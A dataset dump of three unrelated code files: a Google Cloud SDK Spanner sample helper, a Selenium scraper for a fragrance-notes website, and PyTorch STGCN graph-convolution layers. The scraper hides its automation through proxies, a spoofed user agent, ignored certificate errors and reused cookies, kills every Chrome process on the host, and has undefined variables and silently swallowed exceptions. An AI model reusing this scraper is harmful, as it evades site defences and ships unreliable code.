os.getenv('GCLOUD_SPANNER_SAMPLES_HOME',\n _SAMPLES_DEFAULT_DIR_PATH)\n\n_BIN_RELPATH = 'bin'\nSAMPLES_BIN_PATH = os.path.join(SAMPLES_DIR_PATH, _BIN_RELPATH)\n_LOG_RELPATH = 'log'\nSAMPLES_LOG_PATH = os.path.join(SAMPLES_DIR_PATH, _LOG_RELPATH)\n_ETC_RELPATH = 'etc'\nSAMPLES_ETC_PATH = os.path.join(SAMPLES_DIR_PATH, _ETC_RELPATH)\n\n# TODO(b/228633873): Replace with prod bucket\nGCS_BUCKET = 'gs://cloud-spanner-samples'\n\nFINANCE_APP_NAME = 'finance'\nFINANCE_PG_APP_NAME = 'finance-pg'\n\nAppAttrs = collections.namedtuple('AppAttrs', [\n 'db_id', # Name of the sample app DB\n 'bin_path', # Relative path for sample app bin files\n 'etc_path', # Relative path for schema, data, and other files\n 'gcs_prefix', # Prefix for sample app files in GCS_BUCKET\n 'schema_file', # Schema filename (in GCS and locally)\n 'backend_bin', # Backend/server bin filename\n 'workload_bin', # Workload bin filename\n 'database_dialect' # The database dialect used in this sample\n])\n\nAPPS = {\n FINANCE_APP_NAME:\n AppAttrs(\n db_id='finance-db',\n bin_path='finance',\n etc_path='finance',\n schema_file='finance-schema.sdl',\n gcs_prefix='finance',\n backend_bin='server-1.0-SNAPSHOT-jar-with-dependencies.jar',\n workload_bin='workload-1.0-SNAPSHOT-jar-with-dependencies.jar',\n database_dialect=databases.DATABASE_DIALECT_GOOGLESQL,\n ),\n FINANCE_PG_APP_NAME:\n AppAttrs(\n db_id='finance-pg-db',\n bin_path='finance-pg',\n etc_path='finance-pg',\n schema_file='finance-schema-pg.sdl',\n gcs_prefix='finance',\n backend_bin='server-1.0-SNAPSHOT-jar-with-dependencies.jar',\n workload_bin='workload-1.0-SNAPSHOT-jar-with-dependencies.jar',\n database_dialect=databases.DATABASE_DIALECT_POSTGRESQL,\n )\n}\n\n_GCS_BIN_PREFIX = 'bin'\n_GCS_SCHEMA_PREFIX = 'schema'\n\n\nclass SpannerSamplesError(exceptions.Error):\n \"\"\"User error running Cloud Spanner sample app commands.\"\"\"\n\n\ndef check_appname(appname):\n \"\"\"Raise if the given sample app doesn't exist.\n\n Args:\n appname: str, Name of the sample app.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n if appname not in APPS:\n raise ValueError(\"Unknown sample app '{}'\".format(appname))\n\n\ndef get_db_id_for_app(appname):\n \"\"\"Get the database ID for the given sample app.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The database ID, e.g. \"finance-db\".\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n return APPS[appname].db_id\n\n\ndef get_local_schema_path(appname):\n \"\"\"Get the local path of the schema file for the given sample app.\n\n Note that the file and parent dirs may not exist.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The local path of the schema file.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n app_attrs = APPS[appname]\n return os.path.join(SAMPLES_ETC_PATH, app_attrs.etc_path,\n app_attrs.schema_file)\n\n\ndef get_local_bin_path(appname):\n \"\"\"Get the local path to binaries for the given sample app.\n\n This typically includes server and workload binaries and any required\n dependencies. Note that the path may not exist.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The local path of the sample app binaries.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n return os.path.join(SAMPLES_BIN_PATH, APPS[appname].bin_path)\n\n\ndef get_gcs_schema_name(appname):\n \"\"\"Get the GCS file path for the schema for the given sample app.\n\n Doesn't include the bucket name. Use to download the sample app schema file\n from GCS.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The sample app schema GCS file path.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n app_attrs = APPS[appname]\n return '/'.join(\n [app_attrs.gcs_prefix, _GCS_SCHEMA_PREFIX, app_attrs.schema_file])\n\n\ndef get_gcs_bin_prefix(appname):\n \"\"\"Get the GCS prefix for binaries for the given sample app.\n\n Doesn't include the bucket name. Different sample apps have different\n numbers and types of binaries, list the bucket contents before downloading.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The sample app binaries GCS prefix.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n return '/'.join([APPS[appname].gcs_prefix, _GCS_BIN_PREFIX, ''])\n\n\ndef get_database_dialect(appname):\n \"\"\"Get the database dialect for the given sample app.\n\n Args:\n appname: str, Name of the sample app.\n\n Returns:\n str, The database dialect.\n\n Raises:\n ValueError: if the given sample app doesn't exist.\n \"\"\"\n check_appname(appname)\n return APPS[appname].database_dialect\n\n\ndef run_proc(args, capture_logs_fn=None):\n \"\"\"Wrapper for execution_utils.Subprocess that optionally captures logs.\n\n Args:\n args: [str], The arguments to execute. The first argument is the command.\n capture_logs_fn: str, If set, save logs to the specified filename.\n\n Returns:\n subprocess.Popen or execution_utils.SubprocessTimeoutWrapper, The running\n subprocess.\n \"\"\"\n if capture_logs_fn:\n logfile = files.FileWriter(capture_logs_fn, append=True, create_path=True)\n log.status.Print('Writing logs to {}'.format(capture_logs_fn))\n popen_args = dict(stdout=logfile, stderr=logfile)\n else:\n popen_args = {}\n return execution_utils.Subprocess(args, **popen_args)\n\n", "repo_name": "twistedpair/google-cloud-sdk", "sub_path": "google-cloud-sdk/lib/googlecloudsdk/command_lib/spanner/samples.py", "file_name": "samples.py", "file_ext": "py", "file_size_in_byte": 6341, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 55, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "collections.namedtuple", "line_number": 33, "usage_type": "call"}, {"api_name": "googlecloudsdk.api_lib.spanner.databases.DATABASE_DIALECT_GOOGLESQL", "line_number": 54, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.api_lib.spanner.databases", "line_number": 54, "usage_type": "name"}, {"api_name": "googlecloudsdk.api_lib.spanner.databases.DATABASE_DIALECT_POSTGRESQL", "line_number": 65, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.api_lib.spanner.databases", "line_number": 65, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.exceptions.Error", "line_number": 73, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.exceptions", "line_number": 73, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.util.files.FileWriter", "line_number": 213, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.files", "line_number": 213, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.log.status.Print", "line_number": 214, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log.status", "line_number": 214, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log", "line_number": 214, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.execution_utils.Subprocess", "line_number": 218, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.execution_utils", "line_number": 218, "usage_type": "name"}]} {"seq_id": "42588393958", "text": "from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom pyvirtualdisplay import Display\r\nimport time\r\nimport urllib.request\r\nimport os\r\nimport pandas as pd\r\nfrom urllib.parse import quote_plus \r\nfrom bs4 import BeautifulSoup as bs \r\nfrom xvfbwrapper import Xvfb\r\nimport time\r\nfrom urllib.request import (urlopen, urlparse, urlunparse, urlretrieve)\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.webdriver import ActionChains\r\nimport re\r\nfrom selenium.webdriver.chrome.service import Service\r\nimport os \r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nfrom tqdm import tqdm\r\nimport pdb\r\nimport os\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nimport traceback \r\nfrom selenium.webdriver.common.proxy import Proxy, ProxyType\r\nimport csv\r\nfrom fake_headers import Headers\r\nimport requests\r\nimport ray\r\nimport json\r\nimport random\r\nimport psutil\r\nimport pickle\r\n\r\ndef selenium_scroll_down(driver):\r\n SCROLL_PAUSE_SEC = 3\r\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n while True:\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n time.sleep(SCROLL_PAUSE_SEC)\r\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n \r\n if new_height == last_height:\r\n return 1\r\n last_height = new_height\r\n\r\ndef listToString(str_list):\r\n result = \"\"\r\n for s in str_list:\r\n result += s + \" \"\r\n return result.strip()\r\n\r\ndef get_driver(chrome_options, url, cookies):\r\n driver = None\r\n count = 0\r\n \r\n while (driver == None) and (count < 10):\r\n try:\r\n prox = Proxy()\r\n prox.proxy_type = ProxyType.MANUAL\r\n prox.ssl_proxy = \"ip_addr:port\"\r\n prox.https_proxy = \"ip_addr:port\"\r\n prox.socks_version = 5\r\n \r\n capabilities = webdriver.DesiredCapabilities.CHROME\r\n prox.add_to_capabilities(capabilities)\r\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options, desired_capabilities = capabilities)\r\n\r\n except Exception:\r\n count = count + 1\r\n clean_up()\r\n if driver: driver.quit()\r\n continue\r\n\r\n connect = False\r\n while connect == False:\r\n try:\r\n driver.get(url)\r\n driver.implicitly_wait(10)\r\n driver.delete_all_cookies()\r\n \r\n for cookie in cookies: \r\n driver.add_cookie(cookie)\r\n driver.refresh()\r\n connect = True\r\n except Exception:\r\n driver.quit()\r\n del driver\r\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options)\r\n continue\r\n return driver\r\n\r\ndef screenshot(driver):\r\n driver.save_screenshot('/home/dhkim/Fragrance/'+str(random.randrange(1,20)) + '.png')\r\n\r\n\r\ndef reset_driver(driver, chrome_options, url, cookies):\r\n\r\n if driver: driver.quit()\r\n clean_up()\r\n driver = get_driver(chrome_options, url, cookies)\r\n return driver\r\n\r\ndef kill_process(name):\r\n try:\r\n for proc in psutil.process_iter():\r\n if proc.name() == name:\r\n proc.kill()\r\n except Exception:\r\n return\r\n\r\ndef clean_up():\r\n kill_process('chrome')\r\n kill_process('chromedriver') \r\n\r\n\r\ndef notes_crawler(url_data,chrome_options,xpath_data, cookies, write_file, write_file2):\r\n \r\n base_url = 'https://www.parfumo.net/Fragrance_Notes'\r\n driver = get_driver(chrome_options, base_url, cookies)\r\n try:\r\n main = WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.XPATH, '/html/body/div[4]/div/div[1]')))\r\n parent_notes = main.find_elements(By.CLASS_NAME, 'bold.pt-2')\r\n\r\n url_list = []\r\n failed1 = []\r\n failed2 = []\r\n\r\n for i in range(len(parent_notes)):\r\n parent_note = parent_notes[i].find_element(By.TAG_NAME, 'a')\r\n name = parent_note.get_attribute('text')\r\n url = parent_note.get_attribute('href')\r\n url_list.append({'name':name, 'url':url})\r\n \r\n #for url in url_list:\r\n # parent_note = url['name']\r\n # note_url = url['url']\r\n # write_file, failed_url = child_notecrawl(driver, note_url, parent_note, write_file)\r\n # failed1.append(failed_url)\r\n\r\n\r\n grey_box = main.find_elements(By.CLASS_NAME, 'notes_list_holder')\r\n note_links = []\r\n for i in range(len(grey_box)):\r\n if i != 1:\r\n parent_note = parent_notes[i].find_element(By.TAG_NAME, 'a')\r\n parent_note = parent_note.get_attribute('text')\r\n\r\n mid_notes = grey_box[i].find_elements(By.TAG_NAME, 'a')\r\n for mid_note in mid_notes:\r\n url = mid_note.get_attribute('href')\r\n mid_note = mid_note.get_attribute('text')\r\n note_links.append({'parent_note':parent_note,'mid_note':mid_note,'url':url})\r\n else:\r\n continue\r\n\r\n for link in note_links: \r\n parent_note = link['parent_note']\r\n mid_note = link['mid_note']\r\n url = link['url']\r\n \r\n write_file2, failed_url2 = mid_notecrawl(driver, url, parent_note, mid_note, write_file2)\r\n failed2.append(failed_url2)\r\n driver.get(base_url)\r\n except Exception:\r\n 1\r\n \r\n driver.quit()\r\n clean_up()\r\n\r\ndef child_notecrawl(driver, note_url, parent_note, write_file):\r\n\r\n try:\r\n driver.get(note_url)\r\n except Exception:\r\n driver = reset_driver(driver, chrome_options, note_url, cookies)\r\n notes_list = []\r\n try:\r\n note_box = WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, 'grey-box.mb-2')))\r\n click_more(note_box)\r\n\r\n notes_holder = note_box.find_element(By.ID, 'notes_list_holder')\r\n notes = notes_holder.find_elements(By.TAG_NAME, 'a')\r\n for note in tqdm(notes):\r\n note = note.get_attribute('text').split()\r\n notes_list.append({'parent note':parent_note, 'child note':listToString(note[:-1]), 'count':note[-1]})\r\n \r\n write_file = write_data(write_file, notes_list)\r\n write_file.to_csv('/home/dhkim/Fragrance/data/notes_data.csv', encoding ='utf-8-sig')\r\n except:\r\n return write_file, note_url\r\n\r\n return write_file, None\r\n\r\ndef mid_notecrawl(driver, note_url, parent_note, mid_note, write_file):\r\n time.sleep(random.randrange(1,3))\r\n try:\r\n driver.get(note_url)\r\n except Exception:\r\n driver = reset_driver(driver, chrome_options, note_url, cookies)\r\n notes_list = []\r\n try:\r\n note_box = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, 'grey-box.mb-2')))\r\n click_more(note_box)\r\n notes_holder = note_box.find_element(By.ID, 'notes_list_holder')\r\n notes = notes_holder.find_elements(By.TAG_NAME, 'a')\r\n for note in tqdm(notes):\r\n note = note.get_attribute('text').split()\r\n notes_list.append({'parent note':parent_note, 'mid note': mid_note, 'child note':listToString(note[:-1]), 'count':note[-1]})\r\n write_file = write_data(write_file, notes_list)\r\n write_file.to_csv('/home/dhkim/Fragrance/data/parent_mid_child_data.csv', encoding ='utf-8-sig')\r\n except:\r\n return write_file, note_url\r\n\r\n return write_file, None\r\n\r\n\r\ndef click_more(note_box):\r\n try:\r\n button = note_box.find_element(By.XPATH, '//*[@id=\"rm-more_0\"]/span')\r\n button.click()\r\n except Exception:\r\n return\r\n\r\ndef write_data(write_file, datas):\r\n \r\n for data in datas:\r\n write_file = write_file.append(data, ignore_index = True)\r\n \r\n return write_file\r\n\r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n\r\n vdisplay = Xvfb(width=1920, height=1080)\r\n vdisplay.start()\r\n chrome_options = webdriver.ChromeOptions()\r\n #chrome_options.add_argument('--headless')\r\n chrome_options.add_argument('--no-sandbox')\r\n chrome_options.add_argument('--disable-setuid-sandbox')\r\n #chrome_options.add_argument('--remote-debugging-port=9222')\r\n chrome_options.add_argument('--disable-dev-shm-usage')\r\n\r\n chrome_options.add_argument(\"--disable-extensions\")\r\n chrome_options.add_argument('--incognito')\r\n #mobile_emulation = { \"deviceName\" : \"iPhone X\" }\r\n #chrome_options.add_experimental_option(\"mobileEmulation\", mobile_emulation)\r\n chrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"])\r\n chrome_options.add_experimental_option('useAutomationExtension', False)\r\n chrome_options.add_argument('--ignore-certificate-errors')\r\n chrome_options.add_argument('--allow-running-insecure-content')\r\n chrome_options.add_argument(\"--single-process\")\r\n chrome_options.add_argument(\"disable-infobars\")\r\n chrome_options.add_argument(\"--start-maximized\")\r\n\r\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36'\r\n chrome_options.add_argument(f'user-agent={user_agent}')\r\n os.environ['WDM_LOG_LEVEL'] = '0'\r\n os.environ['WDM_LOG'] = \"false\"\r\n \r\n with open('/home/dhkim/Fragrance/cookies.csv', 'r', encoding='utf-8-sig') as f:\r\n cookies = csv.DictReader(f)\r\n cookies = list(cookies)\r\n url_data= None\r\n with open('/home/dhkim/Fragrance/xpath2.json', 'r') as f:\r\n\r\n xpath_data = json.load(f)\r\n DB = pd.DataFrame(columns = ['parent note','child note','count'])\r\n\r\n DB2 = pd.DataFrame(columns = ['parent note','mid note','child note','count'])\r\n \r\n #DB = pd.read_csv('/home/dhkim/Fragrance/data/fragrance_data.csv', encoding ='utf-8-sig')\r\n DB.astype('object')\r\n DB2.astype('object')\r\n\r\n \r\n \r\n notes_crawler(url_data,chrome_options,xpath_data, cookies,DB ,DB2)\r\n\r\n \r\n\r\n", "repo_name": "easy-note/Urscent", "sub_path": "LF_Fragrance/notes.py", "file_name": "notes.py", "file_ext": "py", "file_size_in_byte": 10290, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.proxy.Proxy", "line_number": 61, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.proxy.ProxyType.MANUAL", "line_number": 62, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.proxy.ProxyType", "line_number": 62, "usage_type": "name"}, {"api_name": "selenium.webdriver.DesiredCapabilities", "line_number": 67, "usage_type": "attribute"}, {"api_name": "selenium.webdriver", "line_number": 67, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 69, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 69, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 69, "usage_type": "call"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 69, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 91, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 91, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 91, "usage_type": "call"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 91, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 96, "usage_type": "call"}, {"api_name": "psutil.process_iter", "line_number": 108, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 124, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 124, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 124, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 124, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 124, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 125, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 125, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 132, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 132, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 144, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 144, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 148, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 148, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 151, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 151, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 181, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 181, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 181, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 181, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 181, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 184, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 184, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 185, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 185, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 186, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 198, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 198, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 205, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 205, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 205, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 205, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 205, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 207, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 207, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 208, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 208, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 209, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 222, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 222, "usage_type": "name"}, {"api_name": "xvfbwrapper.Xvfb", "line_number": 239, "usage_type": "call"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 241, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 241, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 263, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 266, "usage_type": "call"}, {"api_name": "json.load", "line_number": 271, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 272, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 274, "usage_type": "call"}]} {"seq_id": "30704493187", "text": "import torch\nimport torch.nn as nn\n\n\nclass TCL(nn.Module):\n def __init__(self, Kt, c_in, c_out, act_func='relu'):\n super(TCL, self).__init__()\n\n self.Kt = Kt\n self.c_in = c_in\n self.c_out = c_out\n self.act_func = act_func\n\n self.conv = nn.Conv2d(c_in, c_out, (1, 1), stride=1)\n\n if act_func == 'GLU':\n self.tconv = nn.Conv2d(c_in, 2 * c_out, (Kt, 1), stride=1)\n self.sigmoid = nn.Sigmoid()\n else:\n self.tconv = nn.Conv2d(c_in, c_out, (Kt, 1), stride=1)\n if act_func == 'sigmoid':\n self.sigmoid = nn.Sigmoid()\n elif act_func == 'relu':\n self.relu = nn.ReLU()\n\n def forward(self, x):\n _, _, T, n = x.shape\n\n if self.c_in > self.c_out:\n x_input = self.conv(x)\n elif self.c_in < self.c_out:\n x_input = torch.cat([x, torch.zeros([x.shape[0], self.c_out - self.c_in, T, n])], dim=1)\n else:\n x_input = x\n\n x_input = x_input[:, :, self.Kt - 1: T, :]\n\n if self.act_func == 'GLU':\n x_tconv = self.tconv(x)\n return (x_tconv[:, 0: self.c_out, :, :] + x_input) * self.sigmoid(x_tconv[:, -self.c_out:, :, :])\n else:\n x_tconv = self.tconv(x)\n if self.act_func == 'linear':\n return x_tconv\n elif self.act_func == 'sigmoid':\n return self.sigmoid(x_tconv)\n elif self.act_func == 'relu':\n return self.relu(x_tconv + x_input)\n else:\n raise ValueError(f'ERROR: activation function \"{self.act_func}\" is not defined.')\n\n\nclass SCL(nn.Module):\n def __init__(self, ks, c_in, c_out, kernel):\n super(SCL, self).__init__()\n\n self.Ks = ks\n self.c_in = c_in\n self.c_out = c_out\n self.kernel = kernel\n self.ws = nn.Parameter(torch.randn(ks * c_in, c_out), requires_grad=True)\n self.bs = nn.Parameter(torch.zeros(c_out), requires_grad=True)\n\n self.conv = nn.Conv2d(c_in, c_out, (1, 1), stride=1)\n self.relu = nn.ReLU()\n\n def gconv(self, x, T, n):\n x = torch.reshape(x.permute(0, 2, 3, 1), [-1, n, self.c_in])\n n = self.kernel.shape[0]\n x_tmp = torch.reshape(x.permute(0, 2, 1), [-1, n])\n x_mul = torch.reshape(torch.mm(x_tmp, self.kernel), [-1, self.c_in, self.Ks, n])\n x_ker = torch.reshape(x_mul.permute(0, 3, 1, 2), [-1, self.c_in * self.Ks])\n x = torch.reshape(torch.mm(x_ker, self.ws), [-1, n, self.c_out]) + self.bs\n x = torch.reshape(x, [-1, T, n, self.c_out])\n return x.permute(0, 3, 1, 2)\n\n def forward(self, x):\n _, _, T, n = x.shape\n\n if self.c_in > self.c_out:\n x_input = self.conv(x)\n elif self.c_in < self.c_out:\n x_input = torch.cat([x, torch.zeros([x.shape[0], self.c_out - self.c_in, T, n])], dim=1)\n else:\n x_input = x\n\n x_gconv = self.gconv(x, T, n)\n return self.relu(x_gconv[:, 0: self.c_out, :, :] + x_input)\n\n\nclass Output(nn.Module):\n def __init__(self, T, channel, norm_dims, act_func='GLU'):\n super(Output, self).__init__()\n self.T = T\n self.act_func = act_func\n\n self.tcl1 = TCL(self.T, channel, channel, self.act_func)\n self.norm = nn.LayerNorm(norm_dims)\n self.tcl2 = TCL(1, channel, channel, 'sigmoid')\n self.fcon = nn.Conv2d(channel, 1, (1, 1), stride=1)\n\n def forward(self, x):\n x = self.tcl1(x)\n x = self.norm(x.permute(0, 2, 3, 1))\n x = self.tcl2(x.permute(0, 3, 1, 2))\n return self.fcon(x)\n\n\nclass STGCNBlock(nn.Module):\n def __init__(self, Ks, Kt, channels, norm_dims, g_kernel, drop_prob, act_func=\"GLU\"):\n super(STGCNBlock, self).__init__()\n\n self.Ks = Ks\n self.Kt = Kt\n c_si, c_t, c_oo = channels\n\n self.tcl1 = TCL(Kt, c_si, c_t, act_func=act_func)\n self.scl = SCL(Ks, c_t, c_t, g_kernel)\n self.tcl2 = TCL(Kt, c_t, c_oo)\n self.norm = nn.LayerNorm(norm_dims)\n self.dropout = nn.Dropout(drop_prob)\n\n def forward(self, x):\n x = self.tcl1(x)\n x = self.scl(x)\n x = self.tcl2(x)\n x = self.norm(x.permute(0, 2, 3, 1))\n return self.dropout(x.permute(0, 3, 1, 2))\n", "repo_name": "Herding/STGCN_PYTORCH", "sub_path": "layers.py", "file_name": "layers.py", "file_ext": "py", "file_size_in_byte": 4317, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.reshape", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 71, "usage_type": "call"}, {"api_name": 